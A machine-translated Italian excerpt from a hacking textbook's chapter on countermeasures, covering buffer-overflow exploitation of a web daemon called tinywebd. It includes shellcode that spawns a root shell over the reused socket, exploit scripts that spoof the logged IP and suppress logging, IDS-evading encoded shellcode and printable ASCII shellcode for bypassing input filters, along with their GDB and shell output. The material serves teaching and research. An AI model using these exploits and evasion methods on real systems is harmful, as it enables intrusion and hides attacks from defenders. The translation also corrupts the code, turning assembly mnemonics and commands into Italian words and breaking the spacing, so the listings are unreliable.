Quando si esegue strace, il bit suid del binario del notetaker non viene utilizzato, quindi
non dispone dell'autorizzazione per aprire il file di dati. Non importa, però;
vogliamo solo assicurarci che gli argomenti della chiamata di sistema open () corrispondano a
argomenti per la chiamata open () in C. Dal momento che corrispondono, possiamo tranquillamente usare i valori
passati alla funzione open () nel file binario di notetaker come argomenti per il file
chiamata di sistema open () nel nostro codice shell. Il compilatore ha già svolto tutto il lavoro
di cercare le definizioni e schiacciarle insieme a un'operazione OR bit a bit
azione; abbiamo solo bisogno di trovare gli argomenti della chiamata nello smontaggio della nota-
binario acquirente.
338 0x600
Pagina 353
Ricorda che gli argomenti di una chiamata di funzione verranno inviati al file
impilare al contrario. In questo caso, il compilatore ha deciso di utilizzare mov DWORD PTR
[esp + offset ], value_to_push_to_stack invece delle istruzioni push , ma il file
la struttura costruita sullo stack è equivalente. Il primo argomento è un puntatore a
il nome del file in EAX, il secondo argomento ( messo in [esp + 4] ) è 0x441 ,
e il terzo argomento ( inserito in [esp + 8] ) è 0x180 . Ciò significa che O_WRONLY |
O_CREAT | O_APPEND risulta essere 0x441 e S_IRUSR | S_IWUSR è 0x180. Il
seguente shellcode utilizza questi valori per creare un file chiamato Hacked in
filesystem di root.
mark.s
BITS 32
; Segna il filesystem per dimostrare che hai eseguito.
jmp breve
Due:
pop ebx ; Nome del file
xor ecx, ecx
mov BYTE [ebx + 7], cl; Null termina il nome del file
spingere BYTE 0x5 ; Aperto()
pop eax
mov WORD cx, 0x441; O_WRONLY | O_APPEND | O_CREAT
xor edx, edx
mov WORD dx, 0x180; S_IRUSR | S_IWUSR
int 0x80 ; Apri il file per crearlo.
; eax = descrittore di file restituito
mov ebx, eax ; Descrittore di file al secondo arg
spingere BYTE 0x6 ; Vicino ()
pop eax
int 0x80; Chiudi file.
Contromisure 339
Pagina 354
.: [output tagliato] :.
340 0x600
Pagina 355
Tutti e tre questi indirizzi vanno fondamentalmente nello stesso posto. Facciamo
utilizzare 0x08048fb7 poiché questo è l'indirizzo di ritorno originale utilizzato per la chiamata a
handle_connection () . Tuttavia, ci sono altre cose che dobbiamo risolvere prima.
Guarda il prologo della funzione e l'epilogo per handle_connection () . Questi
sono le istruzioni che impostano e rimuovono le strutture dello stack frame
la pila.
.: [output tagliato] :.
Contromisure 341
Pagina 356
mark_break.s
BITS 32
; Segna il filesystem per dimostrare che hai eseguito.
jmp breve
Due:
pop ebx ; Nome del file
xor ecx, ecx
mov BYTE [ebx + 7], cl; Null termina il nome del file
spingere BYTE 0x5 ; Aperto()
pop eax
mov WORD cx, 0x441; O_WRONLY | O_APPEND | O_CREAT
xor edx, edx
mov WORD dx, 0x180; S_IRUSR | S_IWUSR
int 0x80 ; Apri il file per crearlo.
; eax = descrittore di file restituito
mov ebx, eax ; Descrittore di file al secondo arg
342 0x600
Pagina 357
int3; zinterrupt
uno:
chiamane due
db "/ HackedX"
Per utilizzare questo codice shell, prima imposta GDB per eseguire il debug del daemon tinyweb.
In uscita al di sotto, un punto di interruzione è impostato destra prima handle_connection () è
chiamato. L'obiettivo è ripristinare i registri alterati al loro stato originale
trovato in questo punto di interruzione.
Contromisure 343
Pagina 358
Questo output mostra che EBX e EBP vengono modificati nel punto in cui
il codice inizia l'esecuzione. Tuttavia, un controllo delle istruzioni in main () s'
lo smontaggio mostra che EBX non è effettivamente utilizzato. Il compilatore probabilmente ha salvato
questo registro nello stack a causa di alcune regole sulla convenzione di chiamata, anche
sebbene non sia realmente utilizzato. L'EBP, tuttavia, è usato pesantemente, poiché è il punto
di riferimento per tutte le variabili dello stack locale. Perché il valore originale salvato di
EBP è stato sovrascritto dal nostro exploit, il valore originale deve essere ricreato.
Quando EBP viene ripristinato al suo valore originale, lo shellcode dovrebbe essere in grado
per fare il suo lavoro sporco e poi tornare in main () come al solito. Poiché il comp
i puter sono deterministici, le istruzioni di montaggio spiegheranno chiaramente come
per fare tutto questo.
344 0x600
Pagina 359
Una rapida occhiata al prologo della funzione per main () mostra che EBP dovrebbe
essere 0x68 byte più grandi di ESP. Poiché ESP non è stato danneggiato dal nostro exploit, noi
può ripristinare il valore per EBP aggiungendo 0x68 a ESP alla fine della nostra shell-
codice. Con EBP ripristinato al valore corretto, l'esecuzione del programma può
essere restituito in modo sicuro nel ciclo di accettazione della connessione. Il giusto ritorno
l'indirizzo per la chiamata handle_connection () è l'istruzione trovata dopo la chiamata
a 0x08048fb7 . Il seguente codice shell utilizza questa tecnica.
mark_restore.s
BITS 32
; Segna il filesystem per dimostrare che hai eseguito.
jmp breve
Due:
pop ebx ; Nome del file
xor ecx, ecx
mov BYTE [ebx + 7], cl; Null termina il nome del file
spingere BYTE 0x5 ; Aperto()
pop eax
mov WORD cx, 0x441; O_WRONLY | O_APPEND | O_CREAT
xor edx, edx
mov WORD dx, 0x180; S_IRUSR | S_IWUSR
int 0x80 ; Apri il file per crearlo.
; eax = descrittore di file restituito
mov ebx, eax ; Descrittore di file al secondo arg
spingere BYTE 0x6 ; Vicino ()
pop eax
int 0x80; chiudi file
Contromisure 345
Pagina 360
loopback_shell_restore.s
BITS 32
child_process:
; s = presa (2, 1, 0)
push BYTE 0x66; Socketcall è syscall # 102 (0x66)
pop eax
cdq ; Azzera edx da utilizzare come DWORD nullo in seguito.
xor ebx, ebx; ebx è il tipo di socketcall.
inc ebx ; 1 = SYS_SOCKET = socket ()
346 0x600
Pagina 361
push edx ; Crea array arg: {protocollo = 0,
premere BYTE 0x1; (al contrario) SOCK_STREAM = 1,
spingere BYTE 0x2; AF_INET = 2}
mov ecx, esp; ecx = ptr nell'array degli argomenti
int 0x80 ; Dopo syscall, eax ha il descrittore di file socket.
.: [Uscita tagliata; il resto è lo stesso di loopback_shell.s. ]:.
Il seguente elenco mostra questo codice shell in uso. Vengono utilizzati più lavori
invece di più terminali, così l'ascoltatore netcat viene inviato in background
terminando il comando con una e commerciale ( & ). Dopo che la shell si connette
indietro, il comando fg riporta l'ascoltatore in primo piano. Il processo
viene quindi sospeso premendo CTRL -Z, che ritorna alla shell BASH. Potrebbe
sarà più facile per te usare più terminali mentre segui, ma lavoro
il controllo è utile sapere per quelle volte in cui non hai il lusso di
più terminali.
Contromisure 347
Pagina 362
sprintf (log_buffer, "From% s:% d \"% s \ "\ t", inet_ntoa ( client_addr_ptr-> sin_addr ),
ntohs ( client_addr_ptr-> sin_port ), richiesta);
addr_struct.c
#include <stdio.h>
#include <stdlib.h>
#include <sys / socket.h>
#include <netinet / in.h>
int main (int argc, char * argv []) {
struct sockaddr_in addr;
if (argc! = 3) {
printf ("Utilizzo:% s <IP di destinazione> <porta di destinazione> \ n", argv [0]);
uscita (0);
}
addr.sin_family = AF_INET;
addr.sin_port = htons (atoi (argv [2]));
addr.sin_addr.s_addr = inet_addr (argv [1]);
348 0x600
Pagina 363
Questo programma può essere utilizzato per iniettare una struttura sockaddr_in . Il risultato
sotto mostra il programma in fase di compilazione ed esecuzione.
Per integrare questo nel nostro exploit, la struttura degli indirizzi viene iniettata dopo
la falsa richiesta ma prima della slitta NOP. Poiché la richiesta falsa è di 15 byte
lungo e sappiamo che il buffer inizia da 0xbffff5c0 , l'indirizzo falso sarà
iniettato a 0xbfffff5cf .
Poiché client_addr_ptr viene passato come secondo argomento della funzione, lo farà
essere nello stack due dwords dopo l'indirizzo di ritorno. Il seguente exploit
lo script inietta una struttura di indirizzi falsi e sovrascrive client_addr_ptr .
xtool_tinywebd_spoof.sh
#! / bin / sh
# Strumento di sfruttamento stealth di spoofing IP per tinywebd
SPOOFIP = "12.34.56.78"
SPOOFPORT = "9090"
echo "[Fake Request $ FR_SIZE] [spoofing IP 16] [NOP $ ALIGNED_SLED_SIZE] [shellcode $ SIZE] [ret
addr 128] [* fake_addr 8] "
Contromisure 349
Pagina 364
Il modo migliore per spiegare esattamente cosa fa questo script di exploit è guardare
tinywebd dall'interno di GDB. Nell'output seguente, GDB viene utilizzato per allegare al file
eseguendo il processo tinywebd, i punti di interruzione vengono impostati prima dell'overflow e il file
Viene generata la parte IP del buffer di registro.
350 0x600
Pagina 365
Quindi, da un altro terminale, il nuovo exploit di spoofing viene utilizzato per avanzare
esecuzione nel debugger.
Contromisure 351
Pagina 366
(gdb) x / xw e client_addr_ptr
0xbffff7e4: 0xbffff5cf
(gdb) x / xw e logfd
0xbffff7e8: 0x00000a00
(gdb) x / 4xb e logfd
0xbffff7e8: 0x00 0x0a 0x00 0x00
(gdb) x / 8xb e client_addr_ptr
0xbffff7e4: 0xcf 0xf5 0xff 0xbf 0x00 0x0a 0x00 0x00
(gdb) p logfd
$ 6 = 2560
(gdb) esci
Il programma è in esecuzione. Chiudere comunque (e staccarlo)? (y o n) y
Scollegamento dal programma:, processo 27264
reader @ hacking: ~ / booksrc $ sudo kill 27264
lettore @ hacking: ~ / booksrc $
352 0x600
Pagina 367
strace viene utilizzato con l' argomento della riga di comando -p per collegarsi a un file in esecuzione
processi. L' argomento -e trace = write dice a strace di guardare solo le chiamate di scrittura.
Ancora una volta, lo strumento di spoofing exploit viene utilizzato in un altro terminale per connettersi
e l'esecuzione anticipata.
Questo output mostra chiaramente i tentativi di scrittura nel file di registro non riusciti.
Normalmente, non saremmo in grado di sovrascrivere la variabile logfd , poiché il file
client_addr_ptr è d'intralcio. Di solito, manipolare con noncuranza questo puntatore
portare a un incidente. Ma dal momento che ci siamo assicurati che questa variabile punti a una memoria valida
(la nostra struttura di indirizzi falsificata iniettata), siamo liberi di sovrascrivere le variabili
abili che stanno al di là di esso. Poiché il demone tinyweb reindirizza lo standard a
/ dev / null, il prossimo script di exploit sovrascriverà la variabile logfd passata
con 1 , per output standard. Ciò impedirà comunque la scrittura delle voci
al file di registro ma in un modo molto più gradevole, senza errori.
xtool_tinywebd_silent.sh
#! / bin / sh
# Strumento di sfruttamento invisibile silenzioso per tinywebd
# falsifica anche l'indirizzo IP archiviato in memoria
SPOOFIP = "12.34.56.78"
SPOOFPORT = "9090"
echo "[Fake Request $ FR_SIZE] [spoofing IP 16] [NOP $ ALIGNED_SLED_SIZE] [shellcode $ SIZE] [ret
addr 128] [* fake_addr 8] "
Contromisure 353
Pagina 368
(perl -e "print \" $ FAKEREQUEST \ "";
./addr_struct "$ SPOOFIP" "$ SPOOFPORT";
perl -e "print \" \ x90 \ "x $ ALIGNED_SLED_SIZE";
gatto $ 1;
perl -e "print \" $ RETADDR \ "x32. \" $ FAKEADDR \ "x2. \" \ x01 \ x00 \ x00 \ x00 \ r \ n \ "") | nc -w 1 -v $ 2
80
Quando viene utilizzato questo script, l'exploit è totalmente silenzioso e non viene scritto nulla
al file di registro.
Notare che la dimensione del file di registro e il tempo di accesso rimangono gli stessi. Usando questo
tecnica, possiamo sfruttare tinywebd senza lasciare traccia nel log
File. Inoltre, le chiamate di scrittura vengono eseguite in modo pulito, poiché tutto viene scritto
/ dev / null. Questo è mostrato da strace nell'output sotto, quando il file silent
strumento di exploit viene eseguito in un altro terminale.
354 0x600
Pagina 369
grande bandiera rossa. Potremmo cambiare la porta con qualcosa che sembri meno sospetto;
tuttavia, avere semplicemente un server web aperto connessioni in uscita potrebbe essere un file
bandiera rossa da sola. Un'infrastruttura altamente sicura potrebbe persino avere il firewall
configurazione con filtri in uscita per impedire le connessioni in uscita. In queste situazioni,
l'apertura di una nuova connessione è impossibile o verrà rilevata.
Estratto da tinywebd.c
Pagina 370
Dopo che il punto di interruzione è stato impostato e il programma continua, l'exploit silenzioso
lo strumento viene utilizzato da un altro terminale per connettersi e far avanzare l'esecuzione.
356 0x600
Pagina 371
socket_reuse_restore.s
BITS 32
child_process:
; Riutilizza il socket esistente.
lea edx, [esp + 0x5c]; Metti l'indirizzo di new_sockfd in edx.
mov ebx, [edx]; Metti il valore di new_sockfd in ebx.
premere BYTE 0x02
pop ecx ; ecx inizia da 2.
xor eax, eax
xor edx, edx
dup_loop:
mov BYTE al, 0x3F; dup2 syscall # 63
int 0x80 ; dup2 (c, 0)
dec ecx ; Conto alla rovescia fino a 0.
jns dup_loop; Se il flag del segno non è impostato, ecx non è negativo.
; execve (const char * filename, char * const argv [], char * const envp [])
mov BYTE al, 11; eseguire syscall # 11
push edx ; spingere alcuni valori nulli per la terminazione della stringa.
push 0x68732f2f; spingere "// sh" nello stack.
push 0x6e69622f; spingere "/ bin" nella pila.
mov ebx, esp; Inserisci l'indirizzo di "/ bin // sh" in ebx, tramite esp.
push edx ; spingere il terminatore null a 32 bit allo stack.
mov edx, esp; Questo è un array vuoto per envp.
push ebx ; spingere la stringa addr per impilare sopra il terminatore nullo.
mov ecx, esp; Questo è l'array argv con la stringa ptr.
int 0x80 ; execve ("/ bin // sh", ["/ bin // sh", NULL], [NULL])
Contromisure 357
Pagina 372
Per utilizzare efficacemente questo codice shell, abbiamo bisogno di un altro strumento di sfruttamento che
ci consente di inviare il buffer di exploit ma mantiene il socket fuori per ulteriori I / O.
Questo secondo script di exploit aggiunge un comando cat aggiuntivo alla fine di
l'exploit buffer. L'argomento trattino significa input standard. Gatto che corre
sullo standard input è in qualche modo inutile di per sé, ma quando il comando lo è
convogliato in netcat, questo collega efficacemente input e output standard a netcat
presa di rete. Lo script seguente si connette al target, invia l'exploit
buffer, quindi mantiene il socket aperto e riceve ulteriori input dal file
terminale. Questo viene fatto con poche modifiche (mostrate in grassetto) al file
strumento di exploit silenzioso.
xtool_tinywebd_reuse.sh
#! / bin / sh
# Strumento di sfruttamento invisibile silenzioso per tinywebd
# falsifica anche l'indirizzo IP archiviato in memoria
# riutilizza il socket esistente: usa il codice shell socket_reuse
SPOOFIP = "12.34.56.78"
SPOOFPORT = "9090"
echo "[Fake Request $ FR_SIZE] [spoofing IP 16] [NOP $ ALIGNED_SLED_SIZE] [shellcode $ SIZE] [ret
addr 128] [* fake_addr 8] "
(perl -e "print \" $ FAKEREQUEST \ "";
./addr_struct "$ SPOOFIP" "$ SPOOFPORT";
perl -e "print \" \ x90 \ "x $ ALIGNED_SLED_SIZE";
gatto $ 1;
perl -e "print \" $ RETADDR \ "x32. \" $ FAKEADDR \ "x2. \" \ x01 \ x00 \ x00 \ x00 \ r \ n \ "";
gatto -; ) | nc -v $ 2 80
Quando questo strumento viene utilizzato con lo shellcode socket_reuse_restore, il file root
shell verrà servita utilizzando lo stesso socket utilizzato per la richiesta web. Il
l'output seguente lo dimostra.
358 0x600
Pagina 373
Riutilizzando il socket esistente, questo exploit è ancora più silenzioso poiché non lo fa
creare eventuali connessioni aggiuntive. Meno connessioni significano meno anomalie-
è necessario rilevare eventuali contromisure.
0x680 Payload contrabbando
I suddetti sistemi IDS o IPS di rete possono fare di più che tenere traccia
connessioni: possono anche ispezionare i pacchetti stessi. Di solito, questi
i sistemi sono alla ricerca di modelli che potrebbero indicare un attacco. Ad esempio, a
la semplice regola alla ricerca di pacchetti che contengono la stringa / bin / sh catturerebbe un file
molti pacchetti contenenti shellcode. La nostra stringa / bin / sh è già leggermente
offuscato poiché viene inserito nello stack in blocchi di quattro byte, ma una rete
IDS potrebbe anche cercare pacchetti che contengono le stringhe / bin e // sh .
Questi tipi di firme IDS di rete possono essere abbastanza efficaci nel catturare
script kiddies che utilizzano exploit scaricati da Internet. Come-
mai, sono facilmente aggirati con uno shellcode personalizzato che nasconde qualsiasi rivelazione
stringhe.
Contromisure 359
Pagina 374
Il seguente codice shell inserisce questi byte codificati nello stack e poi
li decodifica in un ciclo. Inoltre, due istruzioni int3 vengono utilizzate per inserire i punti di interruzione
nello shellcode prima e dopo la decodifica. Questo è un modo semplice per vedere cosa
in corso con GDB.
encoded_sockreuserestore_dbg.s
BITS 32
child_process:
; Riutilizza il socket esistente.
lea edx, [esp + 0x5c]; Metti l'indirizzo di new_sockfd in edx.
mov ebx, [edx]; Metti il valore di new_sockfd in ebx.
premere BYTE 0x02
pop ecx ; ecx inizia da 2.
xor eax, eax
dup_loop:
mov BYTE al, 0x3F; dup2 syscall # 63
int 0x80 ; dup2 (c, 0)
dec ecx ; Conto alla rovescia fino a 0.
jns dup_loop; Se il flag del segno non è impostato, ecx non è negativo.
; execve (const char * filename, char * const argv [], char * const envp [])
mov BYTE al, 11; eseguire syscall # 11
push 0x056d7834; spingere "/ sh \ x00" codificato +5 nello stack.
push 0x736e6734; spingere "/ bin" codificato +5 nello stack.
mov ebx, esp; Inserite l'indirizzo codificato "/ bin / sh" in ebx.
int3; Punto di interruzione prima della decodifica (RIMUOVERE QUANDO NON SI DEBUGGING)
360 0x600
Pagina 375
push ebx ; spingere la stringa addr per impilare sopra il terminatore nullo.
mov ecx, esp; Questo è l'array argv con la stringa ptr.
int 0x80 ; execve ("/ bin // sh", ["/ bin // sh", NULL], [NULL])
Poiché i punti di interruzione fanno effettivamente parte dello shellcode, non è necessario
per impostarne uno da GDB. Da un altro terminale, lo shellcode viene assemblato e
utilizzato con lo strumento exploit per il riutilizzo dei socket.
Da un altro terminale
Di nuovo nella finestra GDB, viene visualizzata la prima istruzione int3 nello shellcode.
Da qui, possiamo verificare che la stringa decodifica correttamente.
Contromisure 361
Pagina 376
0xbffff738: 52 '4' 103 'g' 110 'n' 115 's' 52 '4' 120 'x' 109 'm' 5 '\ 005'
(gdb) cont
Continuando.
[tcsetpgrp non riuscito in terminal_inferior: operazione non consentita]
362 0x600
Pagina 377
Istruzioni EsadecimaleASCII
Poiché azzeriamo questi registri prima di usarli, possiamo tranquillamente usare un file
combinazione casuale di questi byte per la slitta NOP. Creazione di un nuovo exploit
strumento che utilizza combinazioni casuali di byte @ , C , A , B , H , K , I e J invece
di una normale slitta NOP sarà lasciato come esercizio per il lettore. Il più facile
il modo per farlo sarebbe scrivere un programma di generazione di slitte in C, che è
utilizzato con uno script BASH. Questa modifica nasconderà il buffer di exploit da
IDS che cercano una slitta NOP.
update_info.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define MAX_ID_LEN 40
#define MAX_DESC_LEN 500
/ * Immagina che questa funzione aggiorni una descrizione del prodotto in un database. */
void update_product_description (char * id, char * desc)
{
char product_code [5], descrizione [MAX_DESC_LEN];
Contromisure 363
Pagina 378
printf ("Aggiornamento del prodotto #% s con descrizione \ '% s \' \ n", codice_prodotto, desc);
// Aggiornare il database
}
int main (int argc, char * argv [], char * envp [])
{
int i;
char * id, * desc;
if (argc <2)
barf ("Utilizzo:% s <id> <description> \ n", argv [0]);
id = argv [1]; // id - Codice del prodotto da aggiornare nel DB
desc = argv [2]; // desc - Descrizione dell'articolo da aggiornare
for (i = 0; i <strlen (desc) -1; i ++) {// Consenti solo byte stampabili in desc.
if (! (isprint (desc [i])))
barf ("Fatale: l'argomento della descrizione può contenere solo byte stampabili \ n", NULL);
}
364 0x600
Pagina 379
Avvio del programma: / home / reader / booksrc / update_info $ (perl -e 'print "\ xcb \ xf9 \ xff \ xbf" x10')
blah
[DEBUG]: desc è a 0xbffff9cb
Aggiornamento del prodotto n. Con descrizione "blah"
Contromisure 365
Pagina 380
Poiché l'unico caso in cui il risultato è 1 è quando entrambi i bit sono 1, se due
i valori inversi vengono inseriti in AND su EAX, EAX diventerà zero.
Binario Esadecimale
1000101010011100100111101001010 0x454e4f4a
AND 0111010001100010011000000110101 AND 0x3a313035
------------------------------------ -------------- -
0000000000000000000000000000000 0x00000000
Pertanto, utilizzando due valori stampabili a 32 bit che sono inversi bit per bit di ciascuno
altro, il registro EAX può essere azzerato senza utilizzare byte nulli e il
il codice macchina assemblato risultante sarà testo stampabile.
Quindi % JONE% 501: nel codice macchina azzererà il registro EAX. Interessante.
Alcune altre istruzioni che si assemblano in caratteri ASCII stampabili sono
mostrato nella casella sottostante.
366 0x600
Pagina 381
1)
Codice caricatore
EIP ESP
2)
EIP ESP
3)
EIP ESP
o
Innanzitutto, ESP deve essere impostato dietro lo shellcode del caricatore stampabile. Un po
il debug con GDB mostra che dopo aver ottenuto il controllo dell'esecuzione del programma,
L'ESP è di 555 byte prima dell'inizio del buffer di overflow (che conterrà l'estensione
codice caricatore). Il registro ESP deve essere spostato quindi è dopo il codice del caricatore,
lasciando ancora spazio per il nuovo shellcode e per lo shellcode del caricatore
si. Circa 300 byte dovrebbero essere abbastanza spazio per questo, quindi aggiungiamo 860 byte
a ESP per metterlo 305 byte dopo l'inizio del codice del caricatore. Questo valore no
devono essere esatti, poiché in seguito verranno prese disposizioni per consentire un po 'di sbavatura.
Poiché l'unica istruzione utilizzabile è la sottrazione, l'addizione può essere simulata da
sottraendo così tanto dal registro che si avvolge. Solo il registro
ha 32 bit di spazio, quindi aggiungere 860 a un registro equivale a sottrarre 860
da 2 32 , o 4.294.966.436. Tuttavia, questa sottrazione deve utilizzare solo stampabile
valori, quindi lo dividiamo in tre istruzioni che utilizzano tutte operandi stampabili.
Contromisure 367
Pagina 382
Ciò significa che TX-3399-Purr-! TTT-P \ aggiungerà 860 a ESP nella macchina
codice. Fin qui tutto bene. Ora è necessario creare lo shellcode.
Innanzitutto, EAX deve essere azzerato; questo è facile ora che un metodo è stato
scoperto. Quindi, utilizzando più istruzioni secondarie , il registro EAX deve essere
impostato sugli ultimi quattro byte dello shellcode, in ordine inverso. Dal momento che lo stack
normalmente cresce verso l'alto (verso indirizzi di memoria inferiori) e si costruisce con a
Ordinando FILO, il primo valore inserito nello stack devono essere gli ultimi quattro byte
dello shellcode. Questi byte devono essere in ordine inverso, a causa del little endian
ordinamento dei byte. Il seguente output mostra un dump esadecimale dello standard
dard shellcode usato nei capitoli precedenti, che sarà costruito dal print-
codice caricatore in grado.
In questo caso, gli ultimi quattro byte vengono visualizzati in grassetto; il valore corretto per
il registro EAX è 0x80cde189 . Questo è facile da fare usando le istruzioni secondarie a
avvolgere il valore intorno. Quindi, EAX può essere inserito nello stack. Questo si muove
368 0x600
Pagina 383
ESP in alto (verso indirizzi di memoria inferiori) fino alla fine del nuovo push
valore, pronto per i prossimi quattro byte di shellcode (mostrato in corsivo nel pre-
ceding shellcode). Altre istruzioni secondarie vengono utilizzate per avvolgere EAX
0x53e28951 e questo valore viene quindi inserito nello stack. Poiché questo processo è
ripetuto per ogni blocco di quattro byte, lo shellcode viene costruito dall'inizio alla fine,
verso il codice del caricatore in esecuzione.
printable_helper.c
#include <stdio.h>
#include <sys / stat.h>
#include <ctype.h>
#include <time.h>
#include <stdlib.h>
#include <string.h>
if (argc <2) {
printf ("Utilizzo:% s <valore iniziale EAX> <valore finale EAX> \ n", argv [0]);
uscita (1);
}
Contromisure 369
Pagina 384
uscita (0);
}
}
370 0x600
Pagina 385
inizio: 0x00000000
- 0x346d6d25
- 0x256d6d25
- 0x2557442d
-------------------
fine: 0x80cde189
lettore @ hacking: ~ / booksrc $ hexdump -C ./shellcode.bin
00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 | 1.1.1 ...... j.XQh |
00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 | //shh/bin..Q..S. |
00000020 e1 cd 80 | ... |
00000023
lettore @ hacking: ~ / booksrc $ ./printable_helper 0x80cde189 0x53e28951
calcolo dei valori stampabili da sottrarre da EAX ..
inizio: 0x80cde189
- 0x59316659
- 0x59667766
- 0x7a537a79
-------------------
fine: 0x53e28951
lettore @ hacking: ~ / booksrc $
stampabile.s
BITS 32
spingere esp ; Metti l'ESP attuale
pop eax ; in EAX.
sub eax, 0x39393333; Sottrai i valori stampabili
sub eax, 0x72727550; per aggiungere 860 a EAX.
sub eax, 0x54545421
spingere eax ; Rimetti EAX in ESP.
pop esp ; Effettivamente ESP = ESP + 860
e eax, 0x454e4f4a
e eax, 0x3a313035; Azzera EAX.
Contromisure 371
Pagina 386
spingere eax
sub eax, 0x25696969
sub eax, 0x25786b5a
sub eax, 0x25774625
spingere eax ; EAX = 0xe3896e69
sub eax, 0x366e5858
sub eax, 0x25773939
sub eax, 0x25747470
spingere eax ; EAX = 0x622f6868
sub eax, 0x25257725
sub eax, 0x71717171
sub eax, 0x5869506a
spingere eax ; EAX = 0x732f2f68
sub eax, 0x63636363
sub eax, 0x44307744
sub eax, 0x7a434957
spingere eax ; EAX = 0x51580b6a
sub eax, 0x63363663
sub eax, 0x6d543057
spingere eax ; EAX = 0x80cda4b0
sub eax, 0x54545454
sub eax, 0x304e4e25
sub eax, 0x32346f25
sub eax, 0x302d6137
spingere eax ; EAX = 0x99c931db
sub eax, 0x78474778
sub eax, 0x78727272
sub eax, 0x774f4661
spingere eax ; EAX = 0x31c03190
sub eax, 0x41704170
sub eax, 0x2d772d4e
sub eax, 0x32483242
spingere eax ; EAX = 0x90909090
spingere eax
spingere eax ; Costruisci una slitta NOP.
spingere eax
spingere eax
spingere eax
spingere eax
spingere eax
spingere eax
spingere eax
spingere eax
spingere eax
spingere eax
spingere eax
spingere eax
spingere eax
spingere eax
spingere eax
spingere eax
spingere eax
spingere eax
spingere eax
372 0x600
Pagina 387
Questo codice shell ASCII stampabile può ora essere utilizzato per contrabbandare l'effettivo
shellcode oltre la routine di convalida dell'input del programma update_info.
reader @ hacking: ~ / booksrc $ ./update_info $ (perl -e 'print "AAAA" x10') $ (cat ./printable)
[DEBUG]: l'argomento desc è a 0xbffff910
Errore di segmentazione
lettore @ hacking: ~ / booksrc $ ./update_info $ (perl -e 'print "\ x10 \ xf9 \ xff \ xbf" x10') $ (cat ./
stampabile)
[DEBUG]: l'argomento desc è a 0xbffff910
Aggiornamento prodotto ########### con descrizione 'TX-3399-Purr-! TTTP \% JONE% 501: -% mm4-% mm% - DW% P-
Yf1Y-fwfY-yzSzP-iii% -Zkx% -% Fw% P-XXn6-99w% -ptt% P-% w %% - qqqq-jPiXP-cccc-Dw0D-WICzP-c66c-W0TmP-
TTTT-% NN0-% o42-7a-0P-xGGx-rrrx-aFOwP-pApA-Nw - B2H2PPPPPPPPPPPPPPPPPPPPPPP '
sh-3.2 # whoami
radice
sh-3.2 #
Neat. Nel caso tu non fossi in grado di seguire tutto quello che è appena successo
lì, l'output sotto osserva l'esecuzione dello shellcode stampabile
in GDB. Gli indirizzi dello stack saranno leggermente diversi, cambiando il ritorno
indirizzi, ma ciò non influirà sullo shellcode stampabile: calcola la sua posizione
basata su ESP, dandogli questa versatilità.
Contromisure 373
Pagina 388
Avvio del programma: / home / reader / booksrc / update_info $ (perl -e 'print "\ xfd \ xf8 \ xff \ xbf" x10')
$ (cat ./printable)
[DEBUG]: l'argomento desc è in 0xbffff8fd
Aggiornamento del prodotto n. Con descrizione "TX-3399-Purr-! TTTP \% JONE% 501: -% mm4-% mm% - DW% P-Yf1Y-fwfY-
yzSzP-iii% -Zkx% -% Fw% P-XXn6-99w% -ptt% P-% w %% - qqqq-jPiXP-cccc-Dw0D-WICzP-c66c-W0TmP-TTTT-% NN0-
% o42-7a-0P-xGGx-rrrx-aFOwP-pApA-Nw - B2H2PPPPPPPPPPPPPPPPPPPPPP '
374 0x600
Pagina 389
Contromisure 375
Pagina 390
(gdb) passaggio 10
0xbffff9c4 in ?? ()
(gdb) x / 24x 0xbffff9ba
0xbffff9ba: 0x50505050 0x50505050 0x50505050 0x50505050
0xbffff9ca: 0x50505050 0x00000050 0x00000000 0x00000000
0xbffff9da: 0x90900000 0x90909090 0x90909090 0x90909090
0xbffff9ea: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9fa: 0x90909090 0x90909090 0x90909090 0x31909090
0xbffffa0a: 0x31db31c0 0xa4b099c9 0x0b6a80cd 0x2f685158
(gdb) stepi 5
0xbffff9c9 in ?? ()
(gdb) x / 24x 0xbffff9ba
0xbffff9ba: 0x50505050 0x50505050 0x50505050 0x90905050
0xbffff9ca: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9da: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9ea: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9fa: 0x90909090 0x90909090 0x90909090 0x31909090
0xbffffa0a: 0x31db31c0 0xa4b099c9 0x0b6a80cd 0x2f685158
(gdb)
Ora il puntatore di esecuzione (EIP) può fluire sul bridge NOP nel file
shellcode costruito.
Lo shellcode stampabile è una tecnica che può aprire alcune porte. Esso e
tutte le altre tecniche di cui abbiamo discusso sono solo elementi costitutivi che possono essere
utilizzato in una miriade di combinazioni diverse. La loro applicazione richiede alcuni
ingegnosità da parte tua. Sii intelligente e battili al loro stesso gioco.
0x6b1 ret2libc
Naturalmente, esiste una tecnica utilizzata per aggirare questo
misurare. Questa tecnica è nota come ritorno in libc . libc è uno standard C
libreria che contiene varie funzioni di base, come printf () e exit () . Questi
376 0x600
Pagina 391
le funzioni sono condivise, quindi qualsiasi programma che usa la funzione printf () dirige
esecuzione nella posizione appropriata in libc. Un exploit può fare l'esatto
stessa cosa e dirige l'esecuzione di un programma in una determinata funzione in libc.
La funzionalità di un tale exploit è limitata dalle funzioni in libc, che
è una restrizione significativa rispetto allo shellcode arbitrario. Però,
niente viene mai eseguito sullo stack.
vuln.c
Ovviamente, questo programma deve essere compilato e impostato come root prima che sia veramente
vulnerabile.
Contromisure 377
Pagina 392
378 0x600
Pagina 393
Una rapida ricerca binaria mostra che l'indirizzo del mittente è probabilmente finito
scritto dall'ottava parola dell'input del programma, quindi sette parole di dummy
i dati vengono utilizzati per la spaziatura nell'exploit.
Con questa contromisura attivata, l'exploit di notesearch non viene più utilizzato
funziona, poiché il layout dello stack è randomizzato. Ogni volta che un programma
inizia, lo stack inizia in una posizione casuale. Il seguente esempio demone-
spiega questo.
Contromisure 379
Pagina 394
aslr_demo.c
#include <stdio.h>
if (argc> 1)
strcpy (buffer, argv [1]);
ritorno 1;
}
Si noti come la posizione del buffer nello stack cambia con ogni
correre. Possiamo ancora iniettare lo shellcode e la memoria danneggiata per sovrascrivere il file
indirizzo di ritorno, ma non sappiamo dove sia lo shellcode in memoria. Il
